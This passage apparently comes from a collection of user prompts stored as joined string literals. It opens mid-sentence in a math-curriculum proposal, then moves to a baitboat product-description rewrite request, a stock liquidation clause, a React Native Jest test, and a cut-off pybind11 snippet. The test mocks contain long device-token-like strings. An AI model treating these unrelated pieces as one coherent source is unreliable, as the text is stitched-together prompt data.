perspective results from historic problems with math instruction, such as rote calculations, drill and practice, endless worksheets, and a focus on finding the "right answer" (Peterson, 2006). The separation of math from other subjects and from students\' daily lives is also a contributing factor (Peterson, 2006). This isolation leads students to view math as only relevant for future math classes, disconnected from their social reality, and irrelevant to their future careers and democratic participation. However, math is a tool for understanding and interacting with the world and other academic disciplines (Peterson, 2006).\nAddressing the Issue with Culturally Responsive Teaching in Mathematics\nTo address this issue, the proposed curriculum initiative will incorporate social justice issues into the math curriculum, making it relevant and engaging for students. The key to selecting social justice issues to address is to ensure they are culturally relevant to students\' lives (Ukpokodu, 2011; Moses, 2002). African-American students have traditionally been underserved in terms of culturally relevant math education (Tate, 2006). By providing opportunities for African-American students to connect mathematics to their lives, they can fully participate in our democracy and critique injustices with math (Gutstein, 2006).\nThe Curriculum Initiative\nThe proposed initiative will be implemented using a workshop collaborative format through a 6-week Summer Content Development Institute. Sixteen 9th-grade math teacher volunteers from the district\'s schools will participate, with a workshop rate of $40 per hour for 2 hours of work time per week for 6 weeks. The cost will also include program materials for a total of approximately $8,200.\nCollaboration with Building and District Leaders\nTo determine the greatest areas of need and to choose a curricular initiative that would address the need, the school leader will collaborate with building and district leaders and stakeholders. They will use data from the 2022-2023 and 2023-2024 9th-grade students to show the benefits of the new curriculum model. They will use PSAT data from fall to spring and NWEA data to compare student performance. This initiative addresses the school-wide need of improving student achievement in math.\nAdvocating for the Needs of the School\nAs a school leader with a math curriculum focus, the leader will collaborate with the director of curriculum and instruction in determining curricular programming needs for the school. The leader will advocate for the needs of their school and request individualization or customization regarding the curricular program chosen by their group to meet the unique needs of their building. They will also ensure that standards-based assessment systems are used to determine the effectiveness of the curricular initiative, and the data gathered from the assessments will be used to inform internal and external audiences about the effectiveness of the curricular initiative.\nConclusion\nThe proposed curriculum initiative focusing on Culturally Responsive Teaching in Mathematics has the potential to improve student achievement in math and promote the use of mathematics in post-high school careers. By incorporating social justice issues into the math curriculum, the initiative can make mathematics more relevant and engaging for students, particularly for historically underserved populations, such as Black, Latino, and Indian students.\nThe initiative\'s success will be determined by improvements in PSAT and NWEA data, as well as student engagement and feedback. Using standards-based assessment systems will help determine the effectiveness of the initiative and provide valuable feedback to adjust and improve the program over time.\nFurthermore, the workshop collaborative format used to implement the initiative will ensure that all instructional staff will have the opportunity to participate in the development of the new curriculum model, ensuring that the initiative is implemented with fidelity. This approach will foster collaboration among teachers and help create a shared vision and a common language for instruction.\nFinally, by providing opportunities for students to connect mathematics to their lives and social reality, they will view math as a tool for understanding and interacting with the world and other academic disciplines, leading to a more mathematically literate population. As a result, students will be better prepared for post-high school careers, college, and democratic participation, ultimately fulfilling the district\'s vision of getting students enrolled, enlisted, or employed after high school.\n \n\n \n \nReferences\nFrankenstein, M. (2006). Reading the World with Math. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nGutstein, E. (2007). Connecting Community, Critical, and Classical Knowledge in Teaching Mathematics for Social Justice. TMNE Monograph, 1, 109-118.\nGutstein, E. (2006). Reading and writing the world with mathematics, toward a pedagogy for social justice. RoutledgeFalmer.\nLeonard, J. (2010). Using U.S. census data to teach mathematics for social justice. Middle School Journal, 42(1), 38-44.\nMoses, R. P., & Cobb, C. E. (2002). Radical equations, civil rights from Mississippi to the algebra project. Beacon Pr.\nOsler, J. (2007). A Guide For Integrating Issues Of Social Justice Into Mathematics Curriculum. Retrieved from http://www.radicalmath.org/docs/SJMathGuide.pdf\nPeterson, B. (2006). Teaching Math Across The Curriculum. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nSleeter, C. (2005). Un-standardizing curriculum, multicultural teaching in the standards-based classroom. Teachers College Pr.\nTate, W. (2006). Race, Retrenchment, and the Reform of School Mathematics. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nUkpokodu, O. N. (2011). How do I teach mathematics in a culturally responsive way? Identifying empowering teaching practices. Multicultural Education, 18(3), 47-56. Retrieved from http://search.proquest.com/docview/926980145?accountid=100\nWalker, T. (2010). Critical literacy as resistance: Teaching for social justice across the secondary Curriculum/From contemplation to action: Promoting social justice through children\'s literature. Journal of Adolescent & Adult Literacy, 53(6), 526-528. Retrieved from http://search.proquest.com/docview/216921702?accountid=100\n \n]\nShare Prompt' +'please refrase this product description in style of apple or dji products \n\n"// Carplounge RT7 BAITBOAT | OUR MASTERPIECE\n\nRT7 Next Level Baitboat! As the international market leader for high-end baitboats & industrial rovers, we are constantly working on the further development of our products. We are proud to present you our latest innovations just in time for the New Year! With the RT7 we are now raising the bar on the international baitboat & rover market and offer our Carplounge customers unique features that will once again revolutionise the use of baitboats:\n\n-RT7 // World\'s first Smart All-in-One Controller for Baitboats!\nIntroducing the world\'s first Smart All-in-One Controller for Baitboats - specifically designed for use with the RT7. This innovative controller combines a long-range transmitting module and a 7\'\' touch interface tablet, giving you full control of your baitboat, echosounder, and autopilot app from the palm of your hand. With quick function buttons and two control sticks, driving your baitboat has never been easier or more intuitive.\n\n 7-Inch Ultra Bright Touch Screen -with tempered anti Glare Display!\n Experience exceptional clarity and visibility on the 7-inch touch interface tablet of the controller, featuring a high-resolution 1920x1200 60fps display. Even in direct sunlight, the screen maintains a clear view with an average brightness of 1200 nits+ and anti-glare technology. \n\n Remote Controller Replacement and no transmitterbox needed!\n Say goodbye to regular rc remote controllers and transmitterbox repeater units with the All-in-One SMART Controller. This advanced device allows you to easily control and use all functions of your baitboat, including hoppers, release, lights, and batteries. The All-in-One SMART Controller is the next generation in remote control technology.\n\n Integrated Longrange Wifi Repeater\n The All-in-One SMART Controller is equipped with an integrated Longrange WiFi Repeater, which improves the signal coverage between the connected device and the controller, ensuring stable and smooth signal transmission. No need for an external transmitter box – this controller has you covered.\n\n Foldable Embedded Directional Antenna\n The All-in-One SMART Controller is equipped with a foldable antenna that houses 3 high-performance, directional gain antennas, ensuring optimal performance in every use case. Say goodbye to the need for external antennas.\n\n Customizable Quickbuttons\n Customize the All-in-One SMART Controller to fit your specific needs with up to 8 customizable quick buttons. Simply change the default button assignment in the Autopilot v4 app to configure the functions exactly how you want them.\n\n 2x 2 Axis Analog Control Sticks\n Take control of your boat, hoppers, spirals, and winch-cam using one or both of the 2 axis analog control sticks. These sticks can also be pressed to map other buttons or functions. The control sticks allow for precise navigation of your boat while using the echosounder and Autopilot v4 app – it\'s never been easier!\n\n Play / Pause Buttons\n Control your autopilot drive with ease. With the new buttons you can directly stop / start / pause / resume your autopilot mission, without the need to switch back to the app.\n\n 8 Individual Status Leds\n The AIO SMART Controller features 8 individual status leds: The 4 on the left side are showing the current battery level. The 4 on the right side are showing the current status / signal levels of the device\n\n 2x longrange Wi-Fi connections for Tablet Extension / Split Screen View\n The tablet features 2 separate Wi-Fi chips which can be used to connect to different Wi-Fi networks in parallel. you can connect 2 seperate Apple IOS and Android Tablets/phones at the same time - for example run the Autopilot Map View onto Tablet 1 and the Echosounder on Tablet 2 - both in full screen view! - E.g. stay connected to your autopilot control while using your a second Tablet to run the Raymarine Element Echosounder in Fullscreen.\n\n Longest Battery Life and USB-C Quickchage\n with its 3 build in Lithium the All in one SMART Controller can last up to 125 hours with one charge (w/o tablet). The AIO controller comes with a 25W USB-C Quickcharge Port to easility be charged by utilizing one of your existing USB-C plugs.\n\n Waterproof Case with Tripod Mount\n Made for outdoor use. You don\'t need to worry about bad weather anymore. For convenience, we of course also installed a tripod mount which gives you the most flexibility at the lake\nRT7 // V4 -PRO BUS CONTROL - next Level Baitboat technology!\n\n-RT7 // NEXT LEVEL LIGHT-SYSTEM +3000% more Light!\nAnother highlight of the RT7 baitboat is the digital BUS-controlled lighting system. While all other baitboat manufacturers on the market still use normal LED technology, the RT7 comes with our latest Osram RGB CREE lighting system as standard!\n\n 1400Lux CREE Power Headlight\n The 6 high power Cree LED\'s installed in the front headlights put all baitboat LED\'s in to the shade! With 15W of light output per headlight, shore areas and obstacles can now be fully illuminated even at night.\n RGB Status & Position Light\n Gone are the days when you had to choose only one color for the rear and side LEDs when ordering. All elements of the RT7 RGB lighting system can be individually adjusted - simply choose the color that you like best for each lighting element!\n 230° Wide Angle Lighting\n Due to the calculated light scattering of the RT7 Spotlight, there are no more limited light cones like with normal headlights and the lighting into the water is significantly reduced. With 30 times brighter light output, the RT7 can now also safely approach trees, reed edges, etc. without any problem!\n Proportional Dimming System\n We have developed the Proportional Dimming System for the RT7: The RGB elements and the CREE spotlights can be dimmed separately in infinite steps so that the lighting can always be perfectly adapted to every situation, weather and time of day.\n Stealth Mode LED System\n Of course, we have also taken over the Stealth Mode from the RT4 in the RT7: Not only can all LEDs and displays be adjusted in color and brightness, but they can also be completely turned off at any time with just one click.\n Status & Startup Sequences\n The RGB LEDs in the front, sides and rear of the RT7 visually confirm the opening of the bait doors and the release couplings for releasing the rigs.The whole thing is topped off by programmable startup sequences that allow for all kinds of light shows, from "Knightrider" to the latest Audi.\n- RT7 // ONBOARD RGB TFT DISPLAY\nMost baitboats have only a simple volt indicator, if at all. With the RT7, we set new standards in this area as well: In order to display all important information directly on the baitboat, we have installed a high-resolution tft colour display in the back of the RT7 baitboat.\n\nThe display not only shows the battery status, but also other important information such as the remaining time of the connected batteries, temperature and humidity in the boat etc. In keeping with the RT7 design concept, the background colour of the display as well as the font and font colour of the information can be optimally adapted to your wishes!\n- RT7 - Advanced Baitboat Security\nIntroducing the Ultimate in Baitboat Security: The RT7 and All-In-One Controller\n\nExperience unparalleled protection with our newest innovation: the RT7 and All-In-One controller. Each device is uniquely identified through advanced hash IDs, and can be linked to your account for added security. Our advanced encryption functions keep your personal and company data, as well as stored points and maps, secure at all times.\n\nBut we didn\'t stop there. In the unlikely event that your RT7 or All-In-One controller is lost or stolen, you can easily lock the device through your account. And with the WiFi feature remaining active, you can track the current position of your device as soon as it connects to a WiFi network. Stay safe and secure your valuable assets with the RT7 and All-In-One controller. Protect your baitboats and never worry about loss or theft again.\n\n- Echosounder remote switch on/off and Auto connect\nWith just one click, you can turn your Raymarine Echosounder on and off from your tablet. Power efficiency - Save power when you\'re not using your Echo. When you switch the depth sounder back on, it automatically connects and the live image is displayed again.\n\n- V4 Pro MultiBus onboard pre-processing for Raymarine Element Echosounder, Lidar Distancer Control and other sensors and wireless divices like Cameras etc. For Maximum transmition speed without delay\n\n- V4 Pro Peripherals for in App Diagnostics and usage statistics\nThe RT7 is equipped with smart sensors and not only measures humidity and temperature but also collects advanced data such as ontime, engine runtime, distance driven. Hopper/Relase releases etc.\n\nIf you want to sell or buy a used RT7 Baitboatthis numbers is an important indicator. Just like the number of kilometres driven by a car, important value for assessing the condition of each Boat. In addition, we can use predictive diagnostics to see in advance when a boat is due for service and arrange an appointment with you in good time. With online diagnostics, our technicians also have plenty of data at their fingertips to provide you with the best possible advice and assistance in any situation."' +'2. Liquidation, Dissolution or Winding Up; Certain Mergers, Consolidations and Asset Sales.\n2.1 Preferential Payments to Holders of Preferred Stock. In the event of any voluntary\nor involuntary liquidation, dissolution or winding up of the Corporation, the holders of shares of Preferred\nStock then outstanding shall be entitled to be paid out of the assets of the Corporation available for\ndistribution to its stockholders, and in the event of a Deemed Liquidation Event (as defined below), the\nholders of shares of Preferred Stock then outstanding shall be entitled to be paid out of the consideration\npayable to stockholders in such Deemed Liquidation Event or out of the Available Proceeds (as defined\nbelow), as applicable, before any payment shall be made to the holders of Common Stock by reason of their\nownership thereof, an amount per share equal to the greater of (i) one times the applicable Original Issue\nPrice, plus any dividends declared but unpaid thereon, or (ii) such amount per share as would have been\npayable had all shares of Preferred Stock been converted into Common Stock pursuant to Section 4\nimmediately prior to such liquidation, dissolution, winding up or Deemed Liquidation Event (the amount\npayable pursuant to this sentence is hereinafter referred to as the “Liquidation Amount”). If upon any\nsuch liquidation, dissolution or winding up of the Corporation or Deemed Liquidation Event, the assets of\nthe Corporation available for distribution to its stockholders shall be insufficient to pay the holders of shares\nof Preferred Stock the full amount to which they shall be entitled under this Subsection 2.1, the holders of\nshares of Preferred Stock shall share ratably in any distribution of the assets available for distribution in\nproportion to the respective amounts which would otherwise be payable in respect of the shares held by\nthem upon such distribution if all amounts payable on or with respect to such shares were paid in full.\n2.2 Payments to Holders of Common Stock. In the event of any voluntary or\ninvoluntary liquidation, dissolution or winding up of the Corporation, after the payment in full of all\nLiquidation Amounts required to be paid to the holders of shares of Preferred Stock, the remaining assets\nof the Corporation available for distribution to its stockholders or, in the case of a Deemed Liquidation\nEvent, the consideration not payable to the holders of shares of Preferred Stock pursuant to Subsection 2.1\nor the remaining Available Proceeds, as the case may be, shall be distributed among the holders of shares\nof Common Stock, pro rata based on the number of shares held by each such holder.\n\n2.3 Deemed Liquidation Events.\n\n2.3.1 Definition. Each of the following events shall be considered a\n“Deemed Liquidation Event” unless (a) at least two (2) of three (3) of following holders of Preferred\nStock: Inovo Fund Cooperatief U.A., ENERN Investments, investiční fond s proměnným základním\nkapitálem, a.s., Lighthouse Seed Fund OR (b) if any of the aforementioned holders ceases to hold at least\nfifty percent (50%) of the Preferred Stock it acquired under that certain Series Seed Preferred Stock\nPurchase Agreement dated on or about June 30, 2021, holders of at least sixty-five (65%) of the outstanding\nPreferred Stock (the “Requisite Holders”) elect otherwise by written notice sent to the Corporation at least\nten days prior to the effective date of any such event:\n\n(a) a liquidation, dissolution, winding up; or\n(b) a merger or consolidation in which\n(i) the Corporation is a constituent party or\n(ii) a subsidiary of the Corporation is a constituent party and\nthe Corporation issues shares of its Capital Stock pursuant\nto such merger or consolidation,\n\nexcept any such merger or consolidation involving the Corporation or a subsidiary in which the shares of\nCapital Stock of the Corporation outstanding immediately prior to such merger or consolidation continue\nto represent, or are converted into or exchanged for shares of Capital Stock that represent, immediately\nfollowing such merger or consolidation, at least a majority, by voting power, of the Capital Stock of (1) the\nsurviving or resulting corporation; or (2) if the surviving or resulting corporation is a wholly owned\nsubsidiary of another corporation immediately following such merger or consolidation, the parent\ncorporation of such surviving or resulting corporation; or\n\n(c) (1) the sale, lease, transfer, exclusive license or other\ndisposition, in a single transaction or series of related transactions, by the Corporation or any subsidiary of\nthe Corporation of all or substantially all the business or assets of the Corporation and its subsidiaries taken\nas a whole, or (2) the sale or disposition (whether by merger, consolidation or otherwise, and whether in a\nsingle transaction or a series of related transactions) of one (1) or more subsidiaries of the Corporation if\nsubstantially all of the assets of the Corporation and its subsidiaries taken as a whole are held by such\nsubsidiary or subsidiaries, except where such sale, lease, transfer, exclusive license or other disposition is\nto a wholly owned subsidiary of the Corporation.\n\n2.3.2 Effecting a Deemed Liquidation Event.\n(a) The Corporation shall not have the power to effect a\nDeemed Liquidation Event referred to in Subsection 2.3.1(b)(i) unless the agreement or plan of merger or\nconsolidation for such transaction (the “Merger Agreement”) provides that the consideration payable to\nthe stockholders of the Corporation in such Deemed Liquidation Event shall be paid to the holders of Capital\nStock of the Corporation in accordance with Subsection 2.1 and 2.2.\n\n(b) In the event of a Deemed Liquidation Event referred to in\nSubsection 2.3.1(b)(ii) or 2.3.1(c), if the Corporation does not effect a dissolution of the Corporation under\nthe General Corporation Law within ninety (90) days after such Deemed Liquidation Event, then (i) the\nCorporation shall send a written notice to each holder of Preferred Stock no later than the ninetieth (90th)\nday after the Deemed Liquidation Event advising such holders of their right (and the requirements to be\nmet to secure such right) pursuant to the terms of the following clause (ii) to require the redemption of such\nshares of Preferred Stock, and (ii) if the Requisite Holders so request in a written instrument delivered to\nthe Corporation not later than one hundred twenty (120) days after such Deemed Liquidation Event, the\nCorporation shall use the consideration received by the Corporation for such Deemed Liquidation Event\n(net of any retained liabilities associated with the assets sold or technology licensed, as determined in good\nfaith by the Board of Directors of the Corporation), together with any other assets of the Corporation\navailable for distribution to its stockholders, all to the extent permitted by Delaware law governing\ndistributions to stockholders (the “Available Proceeds”), on the one hundred fiftieth (150th) day after such\nDeemed Liquidation Event, to redeem all outstanding shares of Preferred Stock at a price per share equal\nto the applicable Liquidation Amount. Notwithstanding the foregoing, in the event of a redemption\npursuant to the preceding sentence, if the Available Proceeds are not sufficient to redeem all outstanding\nshares of Preferred Stock, the Corporation shall redeem a pro rata portion of each holder’s shares of\nPreferred Stock to the fullest extent of such Available Proceeds, based on the respective amounts which\nwould otherwise be payable in respect of the shares to be redeemed if the Available Proceeds were sufficient\nto redeem all such shares, and shall redeem the remaining shares as soon as it may lawfully do so under\nDelaware law governing distributions to stockholders. Prior to the distribution or redemption provided for\nin this Subsection 2.3.2(b), the Corporation shall not expend or dissipate the consideration received for such\nDeemed Liquidation Event, except (i) as contemplated by such Deemed Liquidation Event, (ii) discharge\nexpenses incurred in connection with such Deemed Liquidation Event or (iii) as approved by the Board of\nDirectors including the Preferred Director or in the event three (3) or more Preferred Directors have been\nelected by the holders of Preferred Stock, the approval of two (2) Preferred Directors.\n\n2.3.3 Amount Deemed Paid or Distributed. The amount deemed paid\nor distributed to the holders of Capital Stock of the Corporation upon any such merger, consolidation, sale,\ntransfer, exclusive license, other disposition or redemption shall be the cash or the value of the property,\nrights or securities to be paid or distributed to such holders pursuant to such Deemed Liquidation Event.\nThe value of such property, rights or securities shall be determined in good faith by the Board of Directors\nof the Corporation, including the approval of at least one (1) Preferred Director or in the event three (3) or\nmore Preferred Directors have been elected by the holders of Preferred Stock, the approval of two (2)\nPreferred Directors.' +"This is the Jest test code I have already written for the react component:\nimport React from 'react'\nimport { cleanup, render, RenderOptions } from '@testing-library/react-native'\n\nimport { Provider, ProviderProps } from 'mobx-react'\nimport { NavigationContainer } from '@react-navigation/native'\nimport defaultsDeep from 'lodash/defaultsDeep'\nimport Config from 'react-native-config'\n\nimport NotificationsScreen from 'screens/NotificationsScreen'\nimport \\* as Atlas from '@ausbom/atlas'\nimport \\* as hooks from 'hooks'\n\nconst DEFAULT\\_THEME\\_MANAGER\\_MOCK = {\n isDarkMode: false,\n}\n\nconst DEFAULT\\_STORE\\_MOCK = {\n notifications: {\n hasLocations: true,\n locations: [\n {\n geohash: 'r1r0fs',\n displayName: 'Melbourne, VIC',\n locationName: 'Melbourne',\n state: 'VIC',\n postcode: '3000',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r1r0fs',\n metadata: {\n responseTimestamp: '2023-02-08T03:20:57Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r1r0fs',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n locationName: 'Melbourne',\n state: 'VIC',\n postcode: '3000',\n metadata: {\n responseTimestamp: '2023-02-08T04:22:42Z',\n },\n data: [\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n pending: [],\n toggledOn: [\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n mode: 'update',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-07T14:56:44Z',\n isNew: false,\n isReady: true,\n },\n ],\n },\n network: {\n isInternetReachable: true,\n isOffline: false,\n isSubscriptionActive: true,\n },\n}\n\nconst DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION = {\n ...DEFAULT\\_STORE\\_MOCK,\n notifications: {\n hasLocations: true,\n locations: [...DEFAULT\\_STORE\\_MOCK.notifications.locations, {\n geohash: 'qd66hr',\n displayName: 'Perth, WA',\n locationName: 'Perth',\n state: 'WA',\n postcode: '6000',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'qd66hr',\n metadata: {\n responseTimestamp: '2023-02-08T03:22:08Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'qd66hr',\n token:\n 'f6gkgdazRf6-\\_agJg\\_tVPu:APA91bEg4IAeDm6p7euyUPE6fY1um3dmhxrFJzljtzPvflhYqRxvSvZDT\\_7M0Ay-i\\_aSUaeiUmDhFqiNan4tv8bYOj25sJvUxPLU0pyJukigzHKhiFW25tPraOG7MT32Gvlxq6wE8Db6',\n locationName: 'Perth',\n state: 'WA',\n postcode: '6000',\n metadata: {\n responseTimestamp: '2023-02-08T03:24:01Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n pending: [],\n toggledOn: [\n 'fire\\_weather\\_warning',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n 'flood',\n ],\n mode: 'load',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-07T14:57:58Z',\n isNew: false,\n isReady: true,\n }]\n }\n}\n\nconst DEFAULT\\_PROPS = {\n navigation: {\n addListener: jest.fn(),\n getParent: () => ({\n getState: () => ({\n routes: [\n {\n params: {\n previousScreen: undefined,\n },\n },\n ],\n }),\n }),\n },\n route: jest.fn(),\n}\n\nlet mockThemeManager = DEFAULT\\_THEME\\_MANAGER\\_MOCK\nlet mockStore = DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION\nlet mockProps = DEFAULT\\_PROPS\n\nconst MockProvider = (props: ProviderProps) => {\n const { children } = props\n return (\n \n\n{children}\n )\n}\nconst renderWithProvider = (\n component: React.ReactElement,\n options?: RenderOptions\n) => render(component, { wrapper: MockProvider, ...options })\ndescribe('NotificationScreen', () => {\n beforeEach(() => {\n mockThemeManager = defaultsDeep({}, DEFAULT\\_THEME\\_MANAGER\\_MOCK)\n mockStore = defaultsDeep({}, DEFAULT\\_STORE\\_MOCK)\n mockProps = defaultsDeep({}, DEFAULT\\_PROPS)\n jest\n .spyOn(Atlas, 'useThemeManager')\n .mockImplementation(() => mockThemeManager as any)\n jest.spyOn(hooks, 'useStores').mockImplementation(() => mockStore as any)\n })\n\n afterEach(() => {\n cleanup()\n jest.restoreAllMocks()\n })\n\n it('renders with one location notifications', () => {\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n const synoticTemplateNotifScreen = queryByTestId('notifications-screen')\n expect(container).toContainElement(synoticTemplateNotifScreen)\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders one location notifications in dark mode', () => {\n mockThemeManager.isDarkMode = true\n const wrapper = renderWithProvider()\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders with no location notification', () => {\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK,\n notifications: { hasLocations: false, locations: [] },\n }\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).toContainElement(queryByTestId('selectLocation'))\n expect(wrapper).toMatchSnapshot()\n })\n})\n\ndescribe('NotificationScreen with FT\\_MULTI\\_NOTIFICATION enabled', () => {\n beforeAll(() => {\n Config.FT\\_MULTI\\_NOTIFICATION = 'true'\n })\n\n afterAll(() => {\n Config.FT\\_MULTI\\_NOTIFICATION = 'false'\n })\n\n beforeEach(() => {\n mockThemeManager = defaultsDeep({}, DEFAULT\\_THEME\\_MANAGER\\_MOCK)\n mockStore = defaultsDeep({}, DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION)\n mockProps = defaultsDeep({}, DEFAULT\\_PROPS)\n jest\n .spyOn(Atlas, 'useThemeManager')\n .mockImplementation(() => mockThemeManager as any)\n jest.spyOn(hooks, 'useStores').mockImplementation(() => mockStore as any)\n })\n\n afterEach(() => {\n cleanup()\n jest.restoreAllMocks()\n })\n\n it('renders with two location notifications', () => {\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n const synoticTemplateNotifScreen = queryByTestId('notifications-screen')\n expect(container).toContainElement(synoticTemplateNotifScreen)\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders dark mode', () => {\n mockThemeManager.isDarkMode = true\n const wrapper = renderWithProvider()\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders with no location notification', () => {\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION,\n notifications: { hasLocations: false, locations: [] },\n }\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).toContainElement(queryByTestId('selectLocation'))\n expect(wrapper).toMatchSnapshot()\n })\n\n it('renders max of three location notification', () => {\n const thirdLocationNotification = {\n geohash: 'r3gx2f',\n displayName: 'Sydney, NSW',\n locationName: 'Sydney',\n state: 'NSW',\n postcode: '2000',\n token:\n 'eHJM8blNSEDaiUHU6FfCaa:APA91bEGDQIgSN7Rt6UWcDzP4Aj80kru\\_xm90Ud4du7EUyGNDbgDXKUAPB2jZH1qPEjCSpeIRtsR8GMVzl4ai1ZY5Y44Sz\\_883oN8sIbSLfzzph7nv3x4\\_Uu1J9vXn3X9AnUMNB4kIBv',\n warningTypes: {\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r3gx2f',\n metadata: {\n responseTimestamp: '2023-02-19T02:11:10Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n },\n subscriptions: {\n isToggledOn: jest.fn(),\n autoUpdateInterval: 0,\n hasFetched: true,\n isLoading: false,\n geohash: 'r3gx2f',\n token:\n 'eHJM8blNSEDaiUHU6FfCaa:APA91bEGDQIgSN7Rt6UWcDzP4Aj80kru\\_xm90Ud4du7EUyGNDbgDXKUAPB2jZH1qPEjCSpeIRtsR8GMVzl4ai1ZY5Y44Sz\\_883oN8sIbSLfzzph7nv3x4\\_Uu1J9vXn3X9AnUMNB4kIBv',\n locationName: 'Sydney',\n state: 'NSW',\n postcode: '2000',\n metadata: {\n responseTimestamp: '2023-02-19T02:11:16Z',\n },\n data: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n pending: [],\n toggledOn: [\n 'fire\\_weather\\_warning',\n 'flood',\n 'heatwave\\_warning',\n 'severe\\_thunderstorm\\_warning',\n 'severe\\_weather\\_warning',\n 'tropical\\_cyclone\\_warning',\n 'tsunami\\_warning',\n ],\n mode: 'update',\n touched: null,\n isDebouncing: false,\n },\n subscribedTime: '2023-02-19T02:11:06Z',\n isNew: false,\n isReady: true,\n }\n\n mockStore = {\n ...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION,\n notifications: { hasLocations: true, locations: [...DEFAULT\\_STORE\\_MOCK\\_MULTI\\_NOTIFICATION.notifications.locations, thirdLocationNotification] },\n }\n\n const wrapper = renderWithProvider()\n const { container, queryByTestId } = wrapper\n expect(container).not.toContainElement(queryByTestId('selectLocation'))\n expect(container).not.toContainElement(queryByTestId('add-location-notification'))\n expect(container).toContainElement(queryByTestId('max-location-label'))\n expect(wrapper).toMatchSnapshot()\n })\n})" +'Summary the function of following code:\nconst char\\* const SAVE\\_DOC\\_STRING = R"DELIMITER(Serialize and save an EVA object to a file.\n\nParameters\n----------\npath : str\n Path of the file to save to\n)DELIMITER";\n\n// clang-format off\nPYBIND11\\_MODULE(\\_eva, m) {\n m.doc() = "Python wrapper for EVA";\n m.attr("\\_\\_name\\_\\_") = "eva.\\_eva";\n\n py::enum\\_(m, "Op")\n#define X(op,code) .value(#op, Op::op)\nEVA\\_OPS\n#undef X\n ;\n py::enum\\_(m, "Type")\n#define X(type,code) .value(#type, Type::type)\nEVA\\_TYPES\n#undef X\n ;\n py::class\\_>(m, "Term", "EVA\'s native Term class")\n .def\\_readonly("op", &Term::op, "The operation performed by this term");\n py::class\\_(m, "Program", "EVA\'s native Program class")\n .def(py::init(), py::arg("name"), py::arg("vec\\_size"))\n .def\\_property("name", &Program::getName, &Program::setName, "The name of this program")\n .def\\_property\\_readonly("vec\\_size", &Program::getVecSize, "The number of elements for all vectors in this program")\n .def\\_property\\_readonly("inputs", &Program::getInputs, py::keep\\_alive<0,1>(), "A dictionary 